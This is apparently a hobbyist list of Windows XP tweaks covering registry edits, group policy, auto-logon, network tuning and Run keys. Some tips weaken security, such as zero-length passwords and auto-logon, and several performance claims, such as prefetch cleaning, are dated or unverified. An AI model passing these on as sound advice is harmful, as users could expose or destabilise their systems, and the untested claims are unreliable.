(From an arstechnica article) One of the most infamous NT tweaks since the introduction of NT4 has got to be the "L2 cache" tweak, a lone registry entry which stipulates the amount of L2 cache (or secondary cache) that the OS will make use of. Well, as with many things in life, the effects of this tweak are not so black and white. If you're using a processor that implements a direct-mapped L2 cache design (like Pentium I's), then this registry adjustment is indeed for you. However, if you own any Intel processor post-PI, or any modern AMD processor (K6-2 and newer), then your processor is using a set-associative L2 cache design, and thus you need not specify your L2 cache size. Let me explain.
If you choose not to futz with the registry key in question, the OS will call on the HAL (Hardware Abstraction Layer) for retrieval of the L2 cache size when you boot your computer. If this happens to fail, a default value of 256KB is used for all logon sessions on that boot session. This is where the myth that NT can only use 256KB of L2 cache comes from. But it's false. See, the HAL is able to retrieve the processor (L2) cache from any processor using the set-associative cache design, it's only the relatively few processors out there with direct-mapped L2 caches that the HAL won't chat it up with. Thus, this tweak only applies to a select number of people anymore (like people with Pentium I procs between 166-233MHz, as lower rated procs had only 256KB cache).

35. Do you know you can have Virtual Desktops (like in Linux) with PowerToys ?
If you have powertoys installed on Windows XP Its available for free at Microsoft website, visit my downloads webpage address) It is very easy to enable Microsoft Virtual Desktop Feature. Simply right click on the Start Panel Bar also called TaskBar, Click on Tool Bar and select Desktop manager. You would see a set of 5 icons placed on the right portion of the TAskBar. Click on number 1 to 4 to go to any of the desktops. Now you have have four different Active Desktops.
IMPORTANT NOTE: You may see a little degradation in performance but for desktop work it is negligible.

36. How to login as administrator if you don't see it available ?
Unless and until you have run into issues and fixing XP (underwhich case you have to go to Safe Mode to login as Administrator), you can get to administrator screen by simply pressing CTRL+ALT+DELETE twice at the main screen.

37. How to avoid password entry at start up ?
Open Administrative tools in control panel and go to Local security policy.Select accounts and within that password policies. Set minimum password length to 0. This should be enough to stop password from being entered at startup.
I have received some criticism for asking users to set their password length to 0 and I agree to some of the potential security risks. Here is one better way to do it.

Go to START-RUN and enter "control userpasswords2" select the user the you would like to have auto logon set to and then uncheck "Users must enter a user name and password to use this computer". Ok out. Now you have to do one more thing. Go to START-RUN and enter "control userpasswords" and clicking on “Change the way users log on or off”, and unchecking both “Use the Welcome Screen” and “Use Fast User Switching”.
There is another way to get to the same screen. Try this to auto logon 1. At a command prompt, type: rundll32 netplwiz.dll,UsersRunDll 2. In the User Accounts dialog that appears, clear the "Users must enter a user name and password to use this computer" check box and click OK. 3. Enter the user name and password of the account you want to automatically log on.
Now Reboot and see it happen.
IMPORTANT DISCLAIMER: (Please make sure that you are doing this to user account and not administrator account. If you do this to administrator account or user accounts that have admin privileges and connect to Internet. and do not have a good firewall installed or enabled, your are exposing yourself to potential risks) XPTOOLS is not responsible for any such damage. *Also note that default user accounts created by XP are in admin group and have admin privileges so be careful.

38. How to stop new programs installed balloon from coming up?
Right click on START button and select properties. Click on Customize and go to Advanced tab and deselect check box saying "Highlight newly installed programs". This would help you stop this annoying feature from popping up every now and then.

39. How to improve on shutdown time ? Close apps automatically & quickly at shutdown
Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP and look for AutoEndTasks. On my computer default value is 0. Change it to 1. Thats all. Further more you can reduce the time it takes for Windows to issue kill directive to all active/hung applications. In doing this only constraint that you should make sure exists is that HungAppTimeout is greater than WaitToKillAppTimeout. Change the values of WaitToKillAppTimeout to say 3500 (since default value for HungAppTimeout 5000 and for WaitToKillAppTimeout is 20000)

40. Speedup boot up sequence by defragmenting all key boot files
Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction. In right hand panel look for Enable. Right click on it and set it 'Y' for enable. This is the way I have it set on my computer. This will help speedup boot time.

41. Create your own customized legal notice at Windows Startup
This tip won't make your computer any faster but may help personalize your computer experience. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft NT\CurrentVersion\Winlogon. In right hand panel look for two fields by the name legalnoticecaption and legalnoticetext. Modify legalnoticecaption to what you want popup window caption should read and change legalnoticetext to customize whatever message you want.

42. One more way to fine tune Internet. Explorer load time
If you do this little trick, application load time may improve significantly. Right Click on shortcut to Internet. Explorer in taskbar ( If you do not see it right click on taskbar,click toolbar and select quicklaunch) , click on properties and under shortcut tab look for Target field. It should say some thing like "C:\Program Files\Internet. Explorer\IEXPLORE.EXE". This is typical default. I am suggesting you to put " -nohome" without quotes at the end of this string with one space in between. It should read like this "C:\Program Files\Internet. Explorer\IEXPLORE.EXE" -nohome. Doing this would help load the application quickly as time would not be wasted in connecting to home page again and again. This is good for normal use as well.

43. Customize Internet. Explorer Title bar
This tip won't make your computer any faster but may help personalize your computer experience. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see. That is it.

44. Are you a MP3 fan ? Add ability to rip MP3 songs in Windows Media Player 8
I am not that great a fan of MP3 but do appreciate its power. If you have a truckload of CDs that you would like to listen to but do not want to carry all of them at the same time, you can rip them into MP3. Yes it can be done technically and that too from Windows Media Player even though make sure you have legally on right side of fence, meaning you own the CD that you would rip MP3 from. That said here is the little tweak in registry. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayerSettings\MP3Encoding] and adding following entries
"LowRate"=dword:0000dac0
"MediumRate"=dword:0000fa00
"MediumHighRate"=dword:0001f400
"HighRate"=dword:0002ee00
which corresponds to 56, 64, 128 and 192 Kbps. Following table would help with other settings as well:
320 Kbps = dword:0004e200
256 Kbps = dword:0003e800
224 Kbps = dword:00036b00
160 Kbps = dword:00027100
112 Kbps = dword:0001b580

45. Enable write caching on disk and improve disk performance
I have enabled write caching on my disk and this does have helped improve disk performance to a significant degree. Now you may ask why ?. WriteCache is nothing else but implementation of concept of delayed write. As we all know I/O activities are generally slow and hence if they are synchronous can significantly reduce the system performance. Hence if system performance has to be improved we have to reduce I/O activities. Now practically we can not ask you to change your habits (meaning start typing like a superman or robot etc.) but we can have a solution. We can control the frequency of diskwrite by specifying regular intervals. All that needs to be written between the intervals would be writen in a write buffer which would be maintained in RAM. This write buffer would be written to the disk at regular intervals or whenever it gets full. This is a smart concept with one drawback. There is a chance that you may loose some data in case of critical power loss or system failure but this is not an issue for me and should not be to most of the users. Such things become an issue for Mission Critical Business Servers.
To enable write cache on your disk, go to DEVICE MANAGER. Then select hard disk in the disk drives and right click on it and select properties. Go to policies tab and select checkbox which say "Enable write caching on the disk". Close out everything and you are done.

46. MFT (Master File Table) manipulations to improve disk performance
MFT stands for Master File Table. Typically in Windows XP , if you are using NTFS ( I would recommend it if you don't) then by default,NTFS would reserve 12.5% of your free diskspace for MFT. MFT fragmentation could also cause a significant slow down. Let me discuss size first. Now if you have installed tons of different programs on your hard disk (or intend to do so), MFT utilization is going to be high. Under such situation, it may be beneficial to increase this percentage to say 25%. If you want to do this, here is the the trick. Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem. In right pane, Add one more key by the name "NtfsMftZoneReservation" with the REG_DWORD value of 2. DWORD value of 1 is interpreted as 12.5% ,2 as 25% and so on.

47. Improve system performance by disabling DOS 8.3 naming convention
In tip number 46, I briefly mentioned MFT fragmentation. So what is the cause of fragmentation. Well most common cause is too much use. As with anything excessive use causes fragmentation. Activities of add/update/delete to a section of disk would invariable cause it to fragment. So there is no permanent solution as we can not avoid these acts. As such it is a good idea to use disk defragmenter regularly. Contiguous data which results from defragmenting disk, improves system performance considerably. But what I am suggesting you here would prolong intervals between defragmentations resulting in more time for your own productive work. OK! This tip is for those folks would never be using a DOS based program or don't care for connection from DOS based operating systems (example: old games and all things before windows 95). In Windows XP, two file names are created for each file one is the actual name and another one is 8.3 version of that file name for compatibility with DOS based programs. Now this work name in the name of compatibility takes quite a lot of system resources specifically CPU time and disk space.But this is not it, it also increases your MFT utilization and fragmentation. So the solution is to disable it. How to do this ? Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem. In right pane, look for key by the name "NtfsDisable8dot3NameCreation" and sets its value to 1. Thats it. You would see improvement in system performance for sure.

48. Customize logon prompt with your own words
This tip won't make your computer any faster but may help personalize your computer experience. Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.

49. Where does Window's ProductId get stored ?
There are two places at least where ProductId gets stored. To see the first place, open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]. In right pane, look for key by the name "ProductId". This is your Windows Product Id. Alternatively you can navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] and still find same field with the name ProductId.

50. Set the low level hook time-out and stop certain programs from crashing or becoming unstable
One of the things that you can do avoid some programs from becoming unstable is to set a low level hook timeout. There are a few programs which use this low level hook timeout. Setting a low value (in milliseconds) means that if the hooked program does not respond within timeout period, one that has set the hook would not become unstable or go in infinite wait but would kill itself saving windows resources and improving performance. Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_CURRENT USER\Control Panel\Desktop] and look for "LowLevelHooksTimeout" in the right pane. Now set it to a small number in milliseconds for example a value of 3500 would mean 3.5 seconds.
51. Having problems with Outlook Express ? Does it ask for password everytime you connect ?
Even though this is not a problem for me but there is a chance that it could be a problem for you. Sometimes no matter what you do, Outlook Express forgets your password and asks you to enter it again each and every time you connect to your mail server.I have a solution that may work for you. Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_CURRRENT USER\Software\Microsoft and look for "Protected Storage System Provider". There is a good chance that you will see this folder. If you have it. Simply delete it. More than likely, you have solved your problem .

52. Tuning up MTU (Maximum Transmission Unit) to speed up Internet access.
This is an old one. I had tried it on Window 2000 as well. Now let me tell you one important fact related with tuning. Value of MTU depends upon how fast a connection you have, what kind of activities you perform (ask yourself a question. Are your a mild, average or high end user of Internet ? To put it in other words, Do you download little or nothing, or are an average surfer or are Internet savvy individual and download everything from programs,apps,patches to watching Internet audio/video real-time content?) Depending upon who you are as a user and what kind of connection (modem,dsl,cable or in rare cases T1/T3), this tuning may have little to significant effect on your Internet experience. All right MTU stand for Maximum Transmission Unit. Value of MTU decides the size of Internet data packet. Bigger the size, more you can transfer. Analogy could be made with a bucket. If bucket is small, you can carry little but it would be no strain on your strength. Bigger the bucket, more you can carry but it strains your physical strength. (Well! Its not that simple but good enough to understand). Objective should be find a perfect balance which works for you. I think maximum that you can put is as value of MTU is 1500 (but could be higher for your specific network) and it may not make sense making it smaller than 68.
Again this is a registry tweak unless and until you have a tweaking utility that can do it for you.Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ ID for Adapter. For this right click on right pane and add a key by the name MTU. For this key you can add a DWORD value from 68 to 1500 (or higher value is certain cases). If you put less than 68, it will default to 68. If you put a value higher than 1500 or your Network permitted max, it will default to permitted max.
The MTU (Maximum Transfer Unit) specifies the maximum transmission unit size of an interface, and is usually determined by negotiation at the link layer of the driver.
The upper level protocols normally optimize pack size for each medium.

Following table gives typical values of MTU in bytes:-
Network Type Windows XP
MTU (bytes) Windows NT / Windows 2000
MTU (bytes)
16 Mbps Token Ring 17914 17914
4 Mbits/Sec Token Ring 4464 4464
FDDI 4352 4352
Ethernet 1500 1500
IEEE 802.3/802.2 1492 1492
X.25 576 576
PPPoE (WAN Miniport) 1480 N/A

53. Enable automatic path MTU size detection and improve Internet throughput.
As stated on previous tip (Tip 52), MTP size plays an important role in deciding Internet speed. But its not so easy to determine the right value of MTU. For those of us who fall in this category and would prefer computer to find that for us, follow trick may work. I can not say with confidence whether this would work across all network but it should and there is no harm in trying it out. Now before I do that let me tell you what this action will do. Applying this trick, you would ask computer to automatically find out the maximum MTU size possible in the connection path to a host. This value could be different for different sites. I think this trick should pick the lowest common denominator across a particular path. Typically If MTU size is not optimized, this job has to be done by a router which would mean a significant waste of time (small chunks adds to a considerable loss if you imagine that there are billions of packets involved across the whole Internet) resulting in poor throughout and congestion on cyber lanes. All right this key is called EnablePMTUDiscovery.
Again this is a registry.Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ ID for Adapter. For this right click on right pane and add a key by the name EnablePMTUDiscovery. For this key you can add a DWORD boolean value of 0 or 1 with 1 being TRUE (value that enables auto detection). Since we are trying this tweak, set to 1 and enable the TCP to attempt to discover the MTU size over the specific path to host. Microsoft has an interesting article on many similar tips http://support.microsoft.com/default.aspx?scid=kb;EN-US;q120642 and is titled TCP/IP and NBT Configuration Parameters for Windows (Q120642).

54. How to avoid autoplay of CD ? Way I like best.
Hey this time no registry trick even though there are ways in registry to do it. In earlier operating systems only those CD that had autorun.inf file in their root directory were able to execute on its own but with advent of WINDOWS XP it has become possible with just about anything. Well sometimes it is good but there are other times when you want to avoid this part of automation. What would I do. Simply press SHIFT key when you enter a CD in your CD drive. It won't Auto play. For those of you, who do want a registry hack. Here it is: Open Registry and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] and look for key "NoDriveTypeAutoRun" and set its value to 185 (decimal). This would stop autoplay.

55. Running into Internet connection problem ? clean TCP/IP stack may be your solution
One of things that has improved a lot is the Windows ability to detect and connect to Internet But I still get into situations where (specially with my NAT and consistent testing of new ideas and tricks) that I end up correcting the TCP/IP stack. I got another IBM computer day before yesterday and I got into trouble again. Well one quick command that you can try out to rebuild the TCPIP stack is by means of using netsh network command shell. This is mentioned on my list of tools page and I would be describing its capability in great detail whenever I get some free time. But for now try this command netsh int ip reset mynetsh.log . This would rebuild your TCP/IP stack and a log of activities would be created in mynetsh.log (by the way you can give any name to log file as long as you do give some name).

56. Are you using an computer that is accessed by more than one ? Secure your privacy by cleaning pagefile.
I read about this tweak a long time ago and even found out couple of ways of achieving the same results but wasn't sure of the importance. But you know what, there is reason for everything. Assume your are working on computer where you don't really own the computer or is shared with someone else. Do you want maintain privacy and avoid other know what you were doing etc. Then this tweak may be of interest to you. Go to Control panel Administrative tools, local security policy. Then goto local policies ---> security options.Then change the option for "Shutdown: Clear Virtual Memory Pagefile"

57. Gain temp access to Administrative privileges even if you are not logged in as administrator.
I must be telling you one thing. In most of the cases where Windows XP is installed on a personal computer, users generally have access to administrative account. But you know, it is not in your best interest to log on as administrator for all your computing needs. I must advise you to create a normal user account as well. But what if you are logged in as normal user and happen to download/install some software application that would need administrative privileges Here is the solution. Simply right click on the executable and select run as. You would see a window poping up. Here you can provide one of the userid/password that would have admin privileges That's all you need to run that program with administrative privileges

58. Another tweak to boost up network application performance. Change thread priority
I just read about this over the internet.You can change the priority of applications as soon as associated IO tasks are completed. Microsoft TCP/IP Stack component AFD.SYS allows you to do this. You can read all about it at http://rdweb.cns.vt.edu/public/notes/tcpip2000.pdf Again this is a registry tweak and works well with XP.Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters] and set the following key values to the values shown.
"TransmitWorker"=dword:00000010
"PriorityBoost"=dword:0000000a

59. Make a habit of cleaning prefetch data once a month.
Prefetch is a new and very useful technique in Windows XP. However, after using XP some time, the prefetch directory can get full of junk and obsolete links in the Prefetch catalog, which can slow down your computer noticeably. I would suggest that You do this once a month: Go to C(system drive):/windows/prefetch, and delete everything and reboot. This may help speed up your computer.

60. How to determine a 16 bit application from a 32 bit application ?
Old 16 bit app are still useful and are in use by many. I think this is the result computer evolution. If You want to know whether a particular executable is a 16 bit or 32 bit application, here is a secret. Right-click the program’s executable file and Then choose Properties. If You see a Version tab, it’s a 32-bit program else its a 16-bit program. Alternately You can go into task manager and look for applications that have ntvdm.exe (virtual dos machine) in the name column of process tab. If there is one, it means its a 16 bit app.

61. Do You know how to add/delete entries in Control Panel ? Heard about CPL extension ?
If You open windows explorer and search for all *.cpl files, You would see at least as many entries in search as You have in your control panel.Yes ! .cpl stands for control panel. If You do not want to navigate to any of your favorite entries, You can create a shortcut to that entry's corresponding cpl file. Following lists control panel and cpl file names:
System Properties = sysdm.cpl
Network Connections = ncpa.cpl
ODBC Administrator = odbccp32.cpl
Display Properties = desk.cpl
Add or remove programs = appwiz.cpl
Internet Properties = Inetcpl.cpl
Game Controllers = joy.cpl
Phone and modem Options = telephon.cpl
Time and Date Properties = timedate.cpl
Region and Language Options = intl.cpl
Power Options = powercfg.cpl
Mouse Properties = main.cpl
Accessibility Options = access.cpl
Add Hardware Wizard = hdwwiz.cpl
Sound and Audio Devices = mmsys.cpl
User Accounts = nusrmgr.cpl
Speech Properties = sapi.cpl
Now if You want to add/delete any of these entries from panel You can do it through Registry or gpedit.msc or through tweakui if You have powertoys installed. It is preferable to use gpedit or TweakUi as its easier.
From TweakUi, You have to simply click on control panel , and select/deselect entries in right panel as per your choice.
From gpedit.msc (to run gpedit, goto START-RUN and type gpedit.msc) Navigate to User Configuration- Administrative Templates-Control Panel folder select and right click on Show only specified Control Panel Applets , click on enabled and Then click on the show. In this list You won't see anything if its your first time. Click on add and type the complete file name from above list. (This is a bit more complicated process specially if You are a new user of the tool)
And if You are a registry fan, You can do this my navigating to [HKEY_CURRENT_USER\Control Panel\] and adding a key field by the name "don't load" and one string value to each of the cpl file names. For example if You don't want to see accessibility options, add a string "access.cpl" on the right pane to the newly added key field "don't load". You can add as many strings You want.

62. Have a IDE drive ? Improve disk performance by changing to DMA access mode
If You are an average user, there is a good chance that your are using a IDE hard disk that supports DMA access. Even Windows XP fails to set the DMA mode correctly for the IDE device designated as the slaves on the primary IDE and secondary IDE channels. Most CD-ROMS are capable of supporting DMA mode, but the default in XP is still PIO. Setting it to DMA won't make your CD-ROM faster, but it will consume less CPU cycles. Follow instructions below:
1. Open the Device Manager and navigate to "IDE ATA/ATAPI Controllers", expand it and double-click on "Primary IDE Channel"
2. Under the "Advanced Settings" tab, verify the "Device 1" setting. If transfer mode is set to PIO Then set it to "DMA if available". Repeat the step for the "Secondary IDE Channel" if You have devices attached to it. Reboot the sytem.

63. Working in command environment ? Avoid keystrokes - use TAB key
One of the features in Linux and certain UNIX shells is the ability to predict user keystroke. If You are typing a directory name or a filename and if it exists, using this feature would help You avoiding those extra keystrokes. Do You know WindowsXP command environment has this feature ? (Well it is available in Windows 2000 as well). To use this feature You have to use TAB key. (I would also show You how to change it to some other key even though there is no need of it). Assume You are in C:\ drive and want to type autoexec.bat and there is a file that exists by that name. Result are amazing if there is no ambiguity in filenames (meaning multiple files/directories with similar names/prefix). In such cases You can simply type first few characters and press the TAB key. You would really be amazed at this finding (Hey if not, You are really too smart and don't need this tip! )
Now if You want to change this power key to some other key here is howto: Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_CURRENT_USER/Software/Microsoft/Command Processor] and set CompletionChar" to ASCII number associated with the key char. for example, "CompletionChar"=dword:00000009

64. Customizing Windows Explorer Context menu (right click menu in windows explorer)
Ever wondered how does the right click menu (which is actually a context menu) work ? For example, when I right click in windows explorer, I see an option which says "open command window here". Do You know why I see this ? Well I see this because I have following entries in my registry.
[HKEY_CLASSES_ROOT\Drive\shell\cmd]
@="Open Command Window Here"
[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
@="C:\WINDOWS\System32\cmd.exe /k cd "%1""
If You have never used a tweaking utility and have newly installed Windows XP, You would not see this option. You would have to navigate to [[HKEY_CLASSES_ROOT\Drive] go and create two subkeys ("cmd" and within that "command" and would have to put the text "Open Command Window Here" without quotes in default string value of "cmd" key and the text "C:\WINDOWS\System32\cmd.exe /k CD"%1"" without quotes in default string value of command key). After this You need to REBOOT for these changes to take effect.

Trick is in adding similar entries for other applications as well even though its much harder to come with ideas about what to put in the context menu!!!! .

65. Low on disk space and do not use Windows XP Hibernate feature ?
With hardware prices going down every passing day You may not need this tip but if You are in a situation where You are really low on disk space even after using disk cleaner, one of the things You can do is to identify features of XP You don't use. It may very well be the hibernate feature. If You don't use it, simply disable it and get as much of hard disk space free as is your physical RAM size. To do that go to power options in control panel (fast route: goto START-RUN or win+R and type powercfg.cpl ) and click on hibernate tab and deselect "enable hibernation".

66. How to make autodisconnect work in Internet explorer ?
If You are having problem setting autodisconnect in Internet explorer 6 , here is a tip for You Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters] and look for autodisconnect parameter. Change its value to whatever You want (in minutes).
Alternately You can try this from command prompt: net config server /autodisconnect:30 -to set the autodisconnect to 30 minutes. Microsoft have a detailed article dealing on this titled How Autodisconnect Works in Windows NT and Windows 2000 (Q138365)

67. Do You want Windows to unload dll immediately?
Folks, I read about this a long time ago and my preliminary findings are that it works on XP as well even though I can not say how beneficial this trick is (or how damaging !). Also there might be some potential problems with a a few apps. But I would still provide it to You There is a way in registry for You to tell Windows OS to unload DLL,immediately as soon as its use is over. Here is how to do that: . Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer] and look for AlwaysUnloadDLL parameter. It may not be present by default. If not, add a key by the name AlwaysUnloadDLL and set it to value of 1.
This would inform OS to unload the DLL files from memory immediately. This has its advantages and disadvantages. It may also crash some Microsoft applications (like Access).

68. Lock known dll's list and make your computer a bit more safer
Folks, You may be wondering that I am talking about making your computer a bit more safer even though my very site was hacked on 1/14/2002. As it stands I have kept this site simple and I do not control the webhosting part. Anyway it is a good idea to keep your computer safe.Open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager] and look for ProtectionMode parameter. If its value is not 1 , set it to value of 1. On my computer default value is 1. Doing this will protect your list of known system dlls from being compromised. To see what is present in your known DLL list, navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs] and look in the right pane. I have not yet tried this but You may even try adding some other DLLs that You feel important and should be protected. This could be risky as I have not yet tried this myself.
Microsoft has an old but informative article on it http://support.microsoft.com/support/kb/articles/q218/4/73.asp

69. Improve computer performance by reducing EFS cache validation
Navigate to HKLM\System\CurrentControlSet\Services\NTFS\EFS\Parameters and set the parameter of EFSKCACHEPERIOD to a value between 2 and 30. default is 5. Value suggest the time in seconds the kernel will cache the session key for a user for a given file. The Kernel will not validate the user credentials during this cache period. This has the net effect of faster access to encrypted files that may be opened several times during a given time period.This is helpful in kernel and user mode of the EFS (encrypting file system) as it provides quicker access to frequently use components.
Similarly navigate to HKLM\Software\Microsoft\Windows NT\CurrentVersion\EFS and set the value of KeyCacheValidationPeriod to a value in units of second from 1 minute to 1 day (60 to 86400).
Microsoft has an interesting article on this at Registry Keys Used to Tune EFS Caching (Q278256). Read it for complete details.

70. Customize your Start Menu setting and preferences
You can open group policy editor (gpedit.msc) and go to User Configuration \ Administrative Templates \ Start Menu and Taskbar and set a variety of preferences for your startmenu. Or if You want You can open registry editor and navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer and enable/disable various parameters by changing 1 to 0 and viceversa. I am doing a cut/paste of list available at Microsoft site. Visit the site to get details on these registry values
Registry Value:"NoSimpleStartMenu"
Registry Value:"NoStartMenuPinnedList"
Registry Value:"NoStartMenuMFUprogramsList"
Registry Value:"NoStartMenuMorePrograms"
Registry Value:"NoCommonGroups"
Registry Value:"GreyMSIAds"
Registry Value:"NoWindowsUpdate"
Registry Value:"NoStartMenuMyMusic", "NoSMMyPictures","NoFavoritesMenu","NoRecentDocsMenu"
Registry Value:"DisableMyPicturesDirChange", "DisableMyMusicDirChange", "DisableFavoritesDirChange".
Registry Value:"NoSMMyDocs"
Registry Value:"DisablePersonalDirChange"
Registry Value:"NoRecentDocsMenu"
Registry Value:"MaxRecentDocs"
Registry Value:"ClearRecentDocsOnExit"
Registry Value:"NoFavoritesMenu"
Registry Value:"{20D04FE0-3AEA-1069-A2D8-08002B30309D}" under
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum.
Registry Value:"NoNetworkConnections"
Registry Value:"NoStartMenuNetworkPlaces"
Registry Value:"NoRecentDocsNetHood"
Registry Value:"NoSMHelp"
Registry Value:"NoFind"
Registry Value:"NoRun"
Registry Value:"MemCheckBoxInRunDlg"
Registry Value:"NoResolveSearch"
Registry Value:"NoResolveTrack"
Registry Value:"ForceStartMenuLogoff"
Registry Value:"StartMenuLogoff"
Registry Value:"NoClose"
Registry Value:"NoStartMenuEjectPC"
Registry Value:"NoChangeStartMenu"
Registry Value:"NoSetTaskbar"
Registry Value:"NoInstrumentation"
Registry Value:"NoUserNameInStartMenu"
I read about this on Microsoft Web Site. Here is the link Policy Settings for the Start Menu in Windows XP (Q292504)

71. How to Add a Control Panel Tool to a Category : Tips on customizing categories
Have You noticed the new view of control panel in XP. Well as its says,its a view and You can switch to a classic view anytime. But if You like the view but want to customize the categories, there is again a good article on How to do this : How to Add a Control Panel Tool to a Category (Q292463). You can get complete details by visiting the site but in brief a control Panel tool can be included in a particular category by adding a registry DWORD entry for the tool in the following registry key:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel\Extended Properties\{305CA226-D286-468e-B848-2B2E8E697B74} 2
Value category ids are:
0x00000000 : Other Control Panel Options (any tool that does not specify a category ID is placed in this category)
0x00000001 : Appearance and Themes
0x00000002 : Printers and Other Hardware
0x00000003 : Network and Internet Connections
0x00000004 : Sounds, Speech, and Audio Devices
0x00000005 : Performance and Maintenance
0x00000006 : Date, Time, Language, and Regional Options
0x00000007 : Accessibility Options
0xFFFFFFFF : Do not put the tool in any category (for special tools such as Add/Remove Programs which only start directly)

72. Protect yourself from denial of service attacks: UPnP weakness in Windows XP
You might have heard of Denial of Service attacks . Recently this news covered media headlines. Microsoft has provided a fix for it. You can read complete details at http://www.microsoft.com/technet/security/bulletin/MS01-059.asp But in brief few registry tweaks can save the day for You in unlikely case of You being the target .
1. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\UPnP Control Point and add "DownloadScope" key and put a value of 0 to 3. Here is the description of these values:
0 - on the same subnet
1 - same subnet or at a private address
2 - same subnet or at a private address or within 4 hops
3 - anywhere
2. Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SSDPSRV\Parameters and add key "TTL" and sets its value to max number of rounter hops allowed in the PnP device search on Internet .

73. How startup programs get loaded in Windows at boot time ? Run keys of Windows Registry
Run keys cause programs to automatically run every time computer/XP boots up . The Windows XP registry includes the following four Run keys:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Each of these keys has a series of values. The values allow multiple entries to exist without overwriting one another. The data value for a value is a command line. There are some special considerations for the third and fourth keys in the list, the RunOnce keys: By default, Run keys are ignored when the computer starts in Safe mode. Under the RunOnce keys, You can prefix a value name with an asterisk (*) to force the associated program to run even in Safe mode. You can prefix a RunOnce value name with an exclamation point (!) to defer deletion of the value until after the command runs. Without the exclamation point prefix, a RunOnce value is deleted before the command runs. As a result, if a RunOnce operation does not run properly, the associated program is not asked to run the next time You start the computer.
Again, this article is available at Microsoft site at A Definition of the Run Keys in the Windows XP Registry (Q314866)

74. Have You seen those annoying searches for broken shortcuts/links ? Need a remedy ?
This could be annoying ! Has been to me. Well there is are couple of ways to solve this problem. If You are comfortable with Registry manipulation, Open registry editor by going to START-RUN and entering regedit.exe. After this , Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer add a new key by the name "NoResolveTrack" (without quotes) and sets its value to 1.
This can be achieved by group policy editor as well. Open group policy editor by opening START-RUN and entering gpedit.msc. Navigate to User Configuration\AdministrativeTemplates\Start Menu and Taskbar group policy and selecting "Do not use the tracking-based method when resolving shell shortcuts"

75. Want to move a Windows XP Installation to Different Hardware. How to do that ?
In most of the scenarios (legal !), You would be doing one of the following acts:
A. Migrate a working Windows XP operating system and your installed programs to a different or more powerful computer in minimal downtime.
B. Replace a small system/boot disk drive with a larger system/boot disk drive.
C. Restore a Windows backup from a malfunctioning computer to a different computer for disaster recovery purposes
Windows Backup (Ntbackup.exe) can handle differences in hardware configuration information between computers and maintain critical registry entries that are unique to the computer to which You are migrating information. This capability means that You can migrate to new hardware by performing a full backup of the source computer and Then restoring the backup over a fresh installation of Windows XP on the destination computer.
Ntbackup.exe handles restore operations in the registry by first querying the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\KeysNotToRestore
This registry key indicates to Ntbackup.exe that certain registry keys under the HKEY_LOCAL_MACHINE\SYSTEM key should not be overwritten when files are restored.
An entry that ends with a backslash (\) indicates that a key is protected and that any keys or values under that key should not be restored. If the entry ends with a backslash and an asterisk (\*), all subkeys are "merged." In this situation, "merged" means comparing the start values of the keys in the backup set with the start values that exist in the current registry, to determine the correct key to restore.
If the value of the key on the backup set has a lower start value, the backup key takes precedence. If the value of the key in the current registry has a lower start value, the current key takes precedence. This process ensures that all services and devices start correctly after a "system state" restoration, even on dissimilar hardware.
